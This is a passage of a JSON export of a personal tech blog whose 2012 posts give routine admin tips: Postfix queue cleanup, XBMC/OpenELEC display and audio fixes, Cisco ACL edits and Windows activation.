\u0026lsquo;BEGIN { RS = \u0026quot;\u0026rdquo; } { if ($7 == \u0026ldquo;user@example.com\u0026rdquo;) print $1 } \u0026rsquo; | tr -d \u0026lsquo;!\u0026rsquo; | postsuper -d - `\nTnx to: i8n1\nThe above script only work for a specific email adres. Use the following script for bulk remove mail\n#!/usr/bin/perl $REGEXP = shift || die \u0026#34;no email-adress given (regexp-style, e.g. bl.*\\@yahoo.com)!\u0026#34;; @data = qx\u0026lt;/usr/sbin/postqueue -p\u0026gt;; for (@data) { if (/^(\\w+)(\\*|\\!)?\\s/) { $queue_id = $1; } if($queue_id) { if (/$REGEXP/i) { $Q{$queue_id} = 1; $queue_id = \u0026#34;\u0026#34;; } } } #open(POSTSUPER,\u0026#34;|cat\u0026#34;) || die \u0026#34;couldn\u0026#39;t open postsuper\u0026#34; ; open(POSTSUPER,\u0026#34;|postsuper -d -\u0026#34;) || die \u0026#34;couldn\u0026#39;t open postsuper\u0026#34; ; foreach (keys %Q) { print POSTSUPER \u0026#34;$_\\n\u0026#34;; }; close(POSTSUPER); For example, delete all queued messages from or to the domain called fackspamdomain.com, enter:\n./postfix-delete.pl fackspamdomain.com You can alos use\n./postfix-delete.pl fackspam Or an IP\n./postfix-delete.pl 83.160.69.66 Source: http://www.cyberciti.biz/tips/howto-postfix-flush-mail-queue.html\n","permalink":"https://blog.wapnet.nl/2012/04/delete-mail-from-postfix-queue/","summary":"\u003cp\u003eThe old command won\u0026rsquo;t work anymore on my ubuntu server because of the error: \u003cem\u003etail: cannot open `+2\u0026rsquo; for reading: No such file or directory\u003c/em\u003e\nOLD Command:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003ch1 id=\"mailq--tail-2--grep--v----postsuper--d--\"\u003emailq | tail +2 | grep -v \u0026lsquo;^ \u003cem\u003e(\u0026rsquo; | awk  \u0026lsquo;BEGIN { RS = \u0026quot;\u0026quot; } { if ($8 == \u0026ldquo;\u003ca href=\"mailto:user@example.com\"\u003euser@example.com\u003c/a\u003e\u0026rdquo; \u0026amp;\u0026amp; $9 == \u0026ldquo;\u0026quot;) print $1 } \u0026rsquo; | tr -d \u0026lsquo;\u003c/em\u003e!\u0026rsquo; | postsuper -d -\u003c/h1\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eNEW Command:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003ch1 id=\"mailq--tail--n-2--grep--v----postsuper--d--\"\u003emailq | tail -n +2 | grep -v \u0026lsquo;^ \u003cem\u003e(\u0026rsquo; | awk  \u0026lsquo;BEGIN { RS = \u0026quot;\u0026rdquo; } { if ($7 == \u0026ldquo;\u003ca href=\"mailto:user@example.com\"\u003euser@example.com\u003c/a\u003e\u0026rdquo;) print $1 } \u0026rsquo; | tr -d \u0026lsquo;\u003c/em\u003e!\u0026rsquo; | postsuper -d -\u003c/h1\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Delete mail from postfix queue"},{"content":"I had the \u0026ldquo;error virtual ethernet card network adapter 1 is not supported\u0026rdquo; on a 64 bit Linux (ubuntu) virtual machine.\nTo fix this problem I shutdown the virtual machine, removed the NIC and add a new E1000 network card. Then I boot the server even everything was fine :)\n","permalink":"https://blog.wapnet.nl/2012/04/virtual-ethernet-card-network-adapter-1-is-not-supported/","summary":"\u003cp\u003eI had the \u0026ldquo;error virtual ethernet card network adapter 1 is not supported\u0026rdquo; on a 64 bit Linux (ubuntu) virtual machine.\u003c/p\u003e\n\u003cp\u003eTo fix this problem I shutdown the virtual machine, removed the NIC and add a new E1000 network card. Then I boot the server even everything was fine :)\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2012/04/vmware.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/04/vmware.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"virtual ethernet card network adapter 1 is not supported"},{"content":"When you access the reporting services over SSL you can have the problem that the reporting services GUI under IE is very slow.\nThe solution is quite simple: Login with the servername or domain name. E.g: SERVERNAME\\username\nThis problem exist under IE 8 and IE9 under Server 2008, 2008r2, Vista and Windows 7.\n","permalink":"https://blog.wapnet.nl/2012/04/sql-reporting-services-slow-with-internet-explorer/","summary":"\u003cp\u003eWhen you access the reporting services over SSL you can have the problem that the reporting services GUI under IE is very slow.\u003c/p\u003e\n\u003cp\u003eThe solution is quite simple: Login with the servername or domain name. E.g: SERVERNAME\\username\u003c/p\u003e\n\u003cp\u003eThis problem exist under IE 8 and IE9 under Server 2008, 2008r2, Vista and Windows 7.\u003c/p\u003e","title":"SQL Reporting Services slow with Internet Explorer"},{"content":"OSX Lion Transformation Pack @ http://www.winxsoft.com/ltp/ Custopack tools @ http://www.custopack.com/ ","permalink":"https://blog.wapnet.nl/2012/04/two-nice-windows-transformation-packs-themes/","summary":"\u003cp\u003eOSX Lion Transformation Pack @ \u003ca href=\"http://www.winxsoft.com/ltp/\"\u003ehttp://www.winxsoft.com/ltp/\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2012/04/mac-os-x-lion-transformation-pack-for-windows-1024x819.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/04/mac-os-x-lion-transformation-pack-for-windows-1024x819.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eCustopack tools @ \u003ca href=\"http://www.custopack.com/\"\u003ehttp://www.custopack.com/\u003c/a\u003e\u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n\t\t\t\u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/9jbwcavsZxo?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n\t\t\u003c/div\u003e\n\u003c/p\u003e","title":"Two nice windows transformation packs (themes)"},{"content":"If your OpenELEC machine says \u0026ldquo;could not open framebuffer no such file or directory\u0026rdquo; when you turn it on, follow this to get the splash screen working.\nThe splash screen is much prettier than some plain text in the corner of the screen, so follow this to get your splash working.\nYou\u0026rsquo;ll need:\nSSH access to your OpenELEC machine Nano installed; for versions 0.7 and above, you\u0026rsquo;ll need to install the nano add-on from System \u0026gt; Addons \u0026gt; Get Addons \u0026gt; OpenELEC.tv \u0026gt; Programs \u0026gt; nano and click install. OK, let\u0026rsquo;s begin. Open an SSH session to your OpenELEC machine then at the prompt, type:\nmount -o remount,rw /flash This allows read/write access to the configuration file we need to access.\nNext, type:\nnano /flash/extlinux.conf This will open up a terminal-based text editor called nano. It\u0026rsquo;s very easy to use, so move your cursor to the end of the following line:\nAPPEND boot=LABEL=System disk=LABEL=Storage quiet and add the following text:\nfor NVIDIA:\nvga=792 for ATI:\nvga=0x323 If you are using NVIDIA your line should read:\nAPPEND boot=LABEL=System disk=LABEL=Storage quiet vga=792 If you are using ATI your line should read:\nAPPEND boot=LABEL=System disk=LABEL=Storage quiet vga=0x323 Now, type [CTRL] and X to exit. You\u0026rsquo;ll be prompted to save the file - just hit [ENTER] to save the file.\nYou should be back at the prompt now, so just type exit to close the prompt\nexit Reboot your OpenELEC box and you should now see the splash screen.\n","permalink":"https://blog.wapnet.nl/2012/04/openelec-xbmc-fix-the-splash-screen-ati-and-nvidia/","summary":"\u003cp\u003eIf your OpenELEC machine says \u0026ldquo;could not open framebuffer no such file or directory\u0026rdquo; when you turn it on, follow this to get the splash screen working.\u003c/p\u003e\n\u003cp\u003eThe splash screen is much prettier than some plain text in the corner of the screen, so follow this to get your splash working.\u003c/p\u003e\n\u003cp\u003eYou\u0026rsquo;ll need:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSSH access to your OpenELEC machine\u003c/li\u003e\n\u003cli\u003eNano installed; for versions 0.7 and above, you\u0026rsquo;ll need to install the nano add-on from System \u0026gt; Addons \u0026gt; Get Addons \u0026gt; OpenELEC.tv \u0026gt; Programs \u0026gt; nano and click install.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOK, let\u0026rsquo;s begin. Open an SSH session to your OpenELEC machine then at the prompt, type:\u003c/p\u003e","title":"OpenElec XBMC Fix the splash screen ATI and NVidia"},{"content":"1. Connect to your box with SSH or SAMBA.\n2. Type the following:\ncp ~/.config/asound.conf.sample/asound.conf_double-xs35gt.sample ~/.config/asound.conf\n3. In XBMC, go to System \u0026gt; Audio and make the following configuration:\nAudio output = HDMISpeaker configuration = 7.1 (or the what your receiver is capable of)Audio output device = custom Custom audio device = plughw:1,7\nPassthrough output device = custom Custom passthrough device = plughw:1,7\n4. Reboot the system\n","permalink":"https://blog.wapnet.nl/2012/04/sound-over-hdmi-on-ion2-systems/","summary":"\u003cp\u003e1. Connect to your box with SSH or SAMBA.\u003c/p\u003e\n\u003cp\u003e2. Type the following:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003ecp ~/.config/asound.conf.sample/asound.conf_double-xs35gt.sample ~/.config/asound.conf\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e3. In XBMC, go to System \u0026gt; Audio and make the following configuration:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAudio output = HDMISpeaker configuration = 7.1 (or the what your receiver is capable of)Audio output device = custom\nCustom audio device = plughw:1,7\u003c/p\u003e\n\u003cp\u003ePassthrough output device = custom\nCustom passthrough device = plughw:1,7\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e4. Reboot the system\u003c/p\u003e","title":"Sound over HDMI on ION2 systems"},{"content":"[banner]\nThe easiest way to stream audio to your XBMC is with the Apple protocol Airplay. Since XBMC Eden (version 11) it is possible to activate Airplay via: System/Settings -\u0026gt; Network -\u0026gt; Services -\u0026gt; enable AirPlay\nRequirements:\nLinux/Ubuntu users will need to install avahi-daemon:\nsudo apt-get install avahi-daemon #(on Ubuntu) Mac OS X needs no additional set-up.\nWindows users will need to install Bonjour (if you have iTunes installed then you will already have Bonjour): http://support.apple.com/kb/dl999\nIf you have spotify and you want to sent a music stream to your XBMC you can use Airfoil for Windows and OSX ($25).\nWith I tunes you can switch to XBMC with the option in the right bottom:\nWith Iphone and Ipad you can use the \u0026ldquo;sent to\u0026rdquo; option since IOS version 4.\n[banner]\n","permalink":"https://blog.wapnet.nl/2012/04/stream-music-to-xbmc-via-airplay/","summary":"\u003cp\u003e[banner]\u003c/p\u003e\n\u003cp\u003eThe easiest way to stream audio to your XBMC is with the Apple protocol Airplay. Since XBMC Eden (version 11) it is possible to activate Airplay via: System/Settings -\u0026gt; Network -\u0026gt; Services  -\u0026gt; enable AirPlay\u003c/p\u003e\n\u003cp\u003eRequirements:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eLinux/Ubuntu\u003c/strong\u003e users will need to install avahi-daemon:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt-get install avahi-daemon #(on Ubuntu)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eMac OS X\u003c/strong\u003e needs no additional set-up.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eWindows\u003c/strong\u003e users will need to install Bonjour (if you have iTunes installed then you will already have Bonjour): \u003ca href=\"http://support.apple.com/kb/dl999\"\u003ehttp://support.apple.com/kb/dl999\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e","title":"Stream music to XBMC via Airplay"},{"content":"When I boot my XBMC box and don\u0026rsquo;t turn my TV on before the boot XBMC was not succesfully. After some digging and googling I found the solution.\nOn your XBMCBuntu device press ALT+CRTL+F1 login with user xbmc, pass xbmc type sudo su - type killall Xorg press ALT+CRTL+F7 login with user xbmc, pass xbmc and select XBMCBuntu Now press the button on the left bottom (or press the windows/command key) Select System Tools \u0026gt; Nvidia X Server Settings click on DFP-0, DFP-1 or whatever then click \u0026ldquo;Acquire EDID..\u0026rdquo; Save it as edid.bin in your /home/xbmc/ folder Now make an ssh connection from another PC to your XBMC box Example linux/osx: ssh 192.168.1.12 -l xbmc for windows try putty Make yourself root sudo su - Password xbmc Type: cat /var/log/Xorg.0.log | grep \u0026ldquo;Assigned Display Device: DFP-\u0026rdquo; Keep the DFP-X number in mind Make a backup of your X.org config cp /etc/X11/xorg.conf /etc/X11/xorg.conf.orig open the xorg.conf nano /etc/X11/xorg.conf Delete all the lines with ctrl+k(multiple times) Now paste the new config: Section \u0026#34;Device\u0026#34; Identifier \u0026#34;nvidia\u0026#34; Driver \u0026#34;nvidia\u0026#34; Option \u0026#34;DynamicTwinView\u0026#34; \u0026#34;False\u0026#34; Option \u0026#34;NoFlip\u0026#34; \u0026#34;false\u0026#34; Option \u0026#34;NoLogo\u0026#34; \u0026#34;true\u0026#34; Option \u0026#34;ConnectToAcpid\u0026#34; \u0026#34;0\u0026#34; Option \u0026#34;FlatPanelProperties\u0026#34; \u0026#34;Scaling = Native\u0026#34; Option \u0026#34;ModeValidation\u0026#34; \u0026#34;NoVesaModes, NoXServerModes\u0026#34; Option \u0026#34;ConnectedMonitor\u0026#34; \u0026#34;DFP-1\u0026#34; Option \u0026#34;CustomEDID\u0026#34; \u0026#34;DFP-1:/home/xbmc/edid.bin\u0026#34; EndSection Section \u0026#34;Screen\u0026#34; Identifier \u0026#34;screen\u0026#34; Device \u0026#34;nvidia\u0026#34; DefaultDepth 24 Option \u0026#34;ColorRange\u0026#34; \u0026#34;Full\u0026#34; SubSection \u0026#34;Display\u0026#34; Depth 24 Modes \u0026#34;1280x720\u0026#34; EndSubSection EndSection Section \u0026#34;Extensions\u0026#34; Option \u0026#34;Composite\u0026#34; \u0026#34;false\u0026#34; EndSection Section \u0026#34;InputDevice\u0026#34; Identifier \u0026#34;Mouse0\u0026#34; Driver \u0026#34;mouse\u0026#34; Option \u0026#34;Protocol\u0026#34; \u0026#34;auto\u0026#34; Option \u0026#34;Device\u0026#34; \u0026#34;/dev/input/event4\u0026#34; Option \u0026#34;Emulate3Buttons\u0026#34; \u0026#34;true\u0026#34; Option \u0026#34;Emulate3Timeout\u0026#34; \u0026#34;70\u0026#34; Option \u0026#34;SendCoreEvents\u0026#34; \u0026#34;true\u0026#34; Option \u0026#34;ZAxisMapping\u0026#34; \u0026#34;4 5\u0026#34; EndSection Section \u0026#34;ServerFlags\u0026#34; Option \u0026#34;AllowEmptyInput\u0026#34; \u0026#34;false\u0026#34; EndSection Change the DFP-X number in the config if you have another number then DFP-1 press CTRL+O to safe the file Type shutdown -h now to turn the XBMC box of Turn of the TV and turn your XBMC box on Test if everything works fine now :) If this works for you please leave a comment below :)\nSource URL Config URL\n","permalink":"https://blog.wapnet.nl/2012/04/xbmcbuntu-boot-problem-when-tv-is-turned-off-nvidia/","summary":"\u003cp\u003eWhen I boot my XBMC box and don\u0026rsquo;t turn my TV on before the boot XBMC was not succesfully. After some digging and googling I found the solution.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eOn your XBMCBuntu device press \u003cstrong\u003eALT+CRTL+F1\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003elogin with user xbmc, pass xbmc\u003c/li\u003e\n\u003cli\u003etype \u003cstrong\u003esudo su -\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003etype \u003cstrong\u003ekillall Xorg\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003epress \u003cstrong\u003eALT+CRTL+F7\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003elogin with user xbmc, pass xbmc and \u003cstrong\u003eselect XBMCBuntu\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eNow press the button on the left bottom (or press the windows/command key)\u003c/li\u003e\n\u003cli\u003eSelect System Tools \u0026gt; Nvidia X Server Settings\u003c/li\u003e\n\u003cli\u003eclick on DFP-0, DFP-1 or whatever then click \u0026ldquo;Acquire EDID..\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eSave it as \u003cstrong\u003eedid.bin\u003c/strong\u003e in your \u003cstrong\u003e/home/xbmc/\u003c/strong\u003e folder\u003c/li\u003e\n\u003cli\u003eNow make an ssh connection from another PC to your XBMC box\u003c/li\u003e\n\u003cli\u003eExample linux/osx: \u003cstrong\u003essh 192.168.1.12 -l xbmc\u003c/strong\u003e for windows try \u003ca href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html\"\u003eputty\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMake yourself root \u003cstrong\u003esudo su -\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003ePassword \u003cstrong\u003exbmc\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eType: \u003cstrong\u003ecat /var/log/Xorg.0.log | grep \u0026ldquo;Assigned Display Device: DFP-\u0026rdquo;\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eKeep the DFP-X number in mind\u003c/li\u003e\n\u003cli\u003eMake a backup of your X.org config \u003cstrong\u003ecp /etc/X11/xorg.conf /etc/X11/xorg.conf.orig\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eopen the xorg.conf \u003cstrong\u003enano /etc/X11/xorg.conf\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eDelete all the lines with \u003cstrong\u003ectrl+k\u003c/strong\u003e(multiple times)\u003c/li\u003e\n\u003cli\u003eNow paste the new config:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSection \u0026#34;Device\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Identifier     \u0026#34;nvidia\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Driver         \u0026#34;nvidia\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;DynamicTwinView\u0026#34; \u0026#34;False\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;NoFlip\u0026#34; \u0026#34;false\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;NoLogo\u0026#34; \u0026#34;true\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;ConnectToAcpid\u0026#34; \u0026#34;0\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;FlatPanelProperties\u0026#34; \u0026#34;Scaling = Native\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;ModeValidation\u0026#34; \u0026#34;NoVesaModes, NoXServerModes\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;ConnectedMonitor\u0026#34; \u0026#34;DFP-1\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;CustomEDID\u0026#34; \u0026#34;DFP-1:/home/xbmc/edid.bin\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEndSection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSection \u0026#34;Screen\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Identifier     \u0026#34;screen\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Device         \u0026#34;nvidia\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    DefaultDepth    24\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;ColorRange\u0026#34; \u0026#34;Full\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    SubSection     \u0026#34;Display\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        Depth       24\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        Modes      \u0026#34;1280x720\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    EndSubSection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEndSection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSection \u0026#34;Extensions\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;Composite\u0026#34; \u0026#34;false\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEndSection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSection \u0026#34;InputDevice\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Identifier     \u0026#34;Mouse0\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Driver         \u0026#34;mouse\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;Protocol\u0026#34; \u0026#34;auto\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;Device\u0026#34; \u0026#34;/dev/input/event4\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;Emulate3Buttons\u0026#34; \u0026#34;true\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;Emulate3Timeout\u0026#34; \u0026#34;70\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;SendCoreEvents\u0026#34; \u0026#34;true\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;ZAxisMapping\u0026#34; \u0026#34;4 5\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEndSection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSection \u0026#34;ServerFlags\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Option         \u0026#34;AllowEmptyInput\u0026#34; \u0026#34;false\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEndSection\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eChange the DFP-X number in the config if you have another number then DFP-1\u003c/li\u003e\n\u003cli\u003epress CTRL+O to safe the file\u003c/li\u003e\n\u003cli\u003eType \u003cstrong\u003eshutdown -h now\u003c/strong\u003e to turn the XBMC box of\u003c/li\u003e\n\u003cli\u003eTurn of the TV and turn your XBMC box on\u003c/li\u003e\n\u003cli\u003eTest if everything works fine now :)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf this works for you please leave a comment below :)\u003c/p\u003e","title":"XBMCBuntu boot problem when TV is turned off (Nvidia)"},{"content":"A link to a very nice bandwidth calculator: http://web.forret.com/tools/bandwidth.asp?speed=4\u0026amp;unit=TB%2Fm ","permalink":"https://blog.wapnet.nl/2012/03/bandwidth-calculator/","summary":"\u003cp\u003eA link to a very nice bandwidth calculator: \u003ca href=\"http://web.forret.com/tools/bandwidth.asp?speed=4\u0026amp;unit=TB%2Fm\"\u003ehttp://web.forret.com/tools/bandwidth.asp?speed=4\u0026amp;unit=TB%2Fm\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2012/03/bandwith.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/03/bandwith.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Bandwidth calculator"},{"content":" First check accesslist with show run Then check the dialer ! interface Dialer1 description Internet ip address negotiated ip access-group 111 in ip nat outside ip inspect list1 out ip virtual-reassembly\nCopy the access group line (bold) to notepad Now do a show run and copy the specific (111 in my case) accesslist to notepad access-list 111 permit tcp any any established access-list 111 permit icmp any any administratively-prohibited access-list 111 permit icmp any any echo access-list 111 permit icmp any any echo-reply access-list 111 permit icmp any any packet-too-big access-list 111 permit icmp any any time-exceeded access-list 111 permit icmp any any traceroute access-list 111 permit icmp any any unreachable access-list 111 permit tcp any any eq ftp access-list 111 permit tcp any any eq www access-list 111 deny ip any any log\nNow change the ACL with the new line (bold) still in notepad access-list 111 permit tcp any any established access-list 111 permit icmp any any administratively-prohibited access-list 111 permit icmp any any echo access-list 111 permit icmp any any echo-reply access-list 111 permit icmp any any packet-too-big access-list 111 permit icmp any any time-exceeded access-list 111 permit icmp any any traceroute access-list 111 permit icmp any any unreachable access-list 111 permit tcp any any eq ftp access-list 111 permit tcp any any eq www access-list 111 permit tcp any any eq 443 access-list 111 deny ip any any log\nnow type conf t and type interface dialer1 now temporary disable the accesslist with: no ip access-group 111 in type exit to exit the Dialer1 interface type no access-list 111 to clear the current ACL Past the new modified ACL fro notepad to your router Type interface dialer1 Type ip access-group 111 in to enable new new access lists Type exit Test the new rule Type wr mem to write the config from RAM to ROM ","permalink":"https://blog.wapnet.nl/2012/03/cisco-router-change-access-list-acl/","summary":"\u003cul\u003e\n\u003cli\u003eFirst check accesslist with \u003cstrong\u003eshow run\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eThen check the dialer\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003e!\ninterface Dialer1\ndescription Internet\nip address negotiated\n\u003cstrong\u003eip access-group 111 in\u003c/strong\u003e\nip nat outside\nip inspect list1 out\nip virtual-reassembly\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003eCopy the access group line (bold) to notepad\u003c/li\u003e\n\u003cli\u003eNow do a show run and copy the specific (111 in my case)  accesslist to notepad\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003eaccess-list 111 permit tcp any any established\naccess-list 111 permit icmp any any administratively-prohibited\naccess-list 111 permit icmp any any echo\naccess-list 111 permit icmp any any echo-reply\naccess-list 111 permit icmp any any packet-too-big\naccess-list 111 permit icmp any any time-exceeded\naccess-list 111 permit icmp any any traceroute\naccess-list 111 permit icmp any any unreachable\naccess-list 111 permit tcp any any eq ftp\naccess-list 111 permit tcp any any eq www\naccess-list 111 deny   ip any any log\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Cisco router change access list (ACL)"},{"content":" $du -c -h /path/to/directory\n","permalink":"https://blog.wapnet.nl/2012/03/linux-show-disk-space-specific-folder/","summary":"\u003cblockquote\u003e\n\u003cp\u003e$du -c -h /path/to/directory\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Linux show disk space specific folder"},{"content":"After a clean windows 7 installation with Novicorp WintoFlash of could not activate correctly. I\u0026rsquo;ll get error the error: 0x8007007B\nThe easiest way to fix this problem is re-register the Windows key with the following steps:\nClick on the Start Button and type: CMD(into the \u0026lsquo;Search programs and files\u0026rsquo; field in the Start Menu) The Start Menu will show \u0026lsquo;CMD.exe\u0026rsquo;, Right-click the CMD.exe file and select Run As Administrator. In the CMD window, type: slmgr.vbs -ipk To 